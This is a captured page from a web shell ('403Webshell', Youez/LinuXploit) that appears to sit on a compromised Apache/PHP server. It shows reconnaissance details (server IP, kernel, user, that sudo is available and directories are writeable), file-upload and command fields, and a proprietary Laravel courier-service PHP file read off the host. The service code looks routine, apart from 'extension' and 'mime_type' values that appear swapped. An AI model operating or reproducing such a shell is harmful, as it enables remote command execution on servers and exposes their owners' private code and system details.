403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Http/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Http/Services/CourierService.php
<?php

namespace App\Http\Services;

use App\Models\Courier;
use App\Models\ServerFile;
use Illuminate\Validation\ValidationException;
use Pylon\Exceptions\BadRequestException;
use Queriplex;
use Image;
use Str;

class CourierService{

    public function __construct(
        FileUploadService $fileUploadService
    )
    {
        $this->fileUploadService = $fileUploadService;
    }

    public function index()
    {
        return Courier::all();
    }

	public function courierQueriplex($query, Array $request)
	{
		$order_mode = ( $request['sortDesc'] ?? false )  ? 'DESC' : 'ASC';
		$search_by = $request['searchBy'] ?? null;
		
		$queriplex = Queriplex::make($query)
			->withFilters($request,[
				'id' => 'id',
				'name' => 'name',
				'activity' => fn($query, $value) => $query->whereActivity($value),
				'search' => ( fn($query, $value) => self::courierSearchQuery($query,$value,$search_by) ),
			])
			->withSort($request['sortBy'] ?? null, [
				"id" => fn($query) => $query->orderBy('id', $order_mode),
				"register_time" => fn($query) => $query->orderBy('created_at', $order_mode),
			]);

		return $queriplex->apply();
	}

	public function courierSearchQuery($query, $value, $search_by){

		$common_searchable = [
			'id',
			'name',
			'url',
		];			
		if(in_array($search_by,$common_searchable)){
			$query->search($search_by,$value);
		}

		return null;
	}

	public function courierList(Array $request)
	{
		$couriers = Courier::query()->with('image');

		$search_by = $request['searchBy'] ?? null;

		$couriers = self::courierQueriplex($couriers, $request);

		$result = $couriers->paginate($request['itemsPerPage'] ?? null);
		
		return $result;
	}

	public function courierCreate(Array $request)
	{
		$courier = new Courier();
		$courier->name = $request['name'];
		$courier->url = isset($request['url']) ? $request['url'] : null;
		$courier->save();

		return $courier;
	}

	public function courierUpdate(Array $request)
	{
		$courier = Courier::where('id',$request['id'])
			->withTrashed()
			->firstOr( function(){
				throw ValidationException::withMessages(
					[ "id" => "The selected id is invalid." ]
				);
			});
	  
		$courier->name = $request['name'];
		$courier->url = $request['url'];
		$courier->save();

		return $courier;
	}

	public function courierDelete(Array $request)
	{
		$courier = Courier::where('id',$request['id'])
			->withTrashed()
			->firstOr( function(){
				throw ValidationException::withMessages(
					[ "id" => "The selected id is invalid." ]
				);
			});

		$courier->restoreOrDelete();

		return $courier;
	}

    public function uploadCourierImage(Array $request)
    {
        $courier = Courier::where('id',$request['id'])
            ->withTrashed()
            ->firstOr( function(){
                throw ValidationException::withMessages(
                    [ "id" => "The selected id is invalid." ]
                );
            });

        $file = $request['image'];

        $img = Image::make($file);
        $img->fit(1280, 720);

        $path = "couriers/".$courier->id;
        $file_name = Str::uuid()->toString().'.jpg';

        $this->fileUploadService->uploadFile( $img->encode(), $path, $file_name , $reset_directory = true);

        $courier = $courier->image()->updateOrCreate([],[
            'name' => $file_name,
            'path' => 'couriers',
            'type_id' => ServerFile::IMAGE,
            'extension' => $file->getMimeType(),
            'mime_type' => $file->getClientOriginalExtension(),
            'size' => $file->getSize(),
        ]);

        return $courier;
    }

    public function clearCourierImage(Array $request)
    {
        $courier = Courier::where('id',$request['id'])
            ->withTrashed()
            ->firstOr( function(){
                throw ValidationException::withMessages(
                    [ "id" => "The selected id is invalid." ]
                );
            });

        $courier = $courier->image()->delete();

        return $courier;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit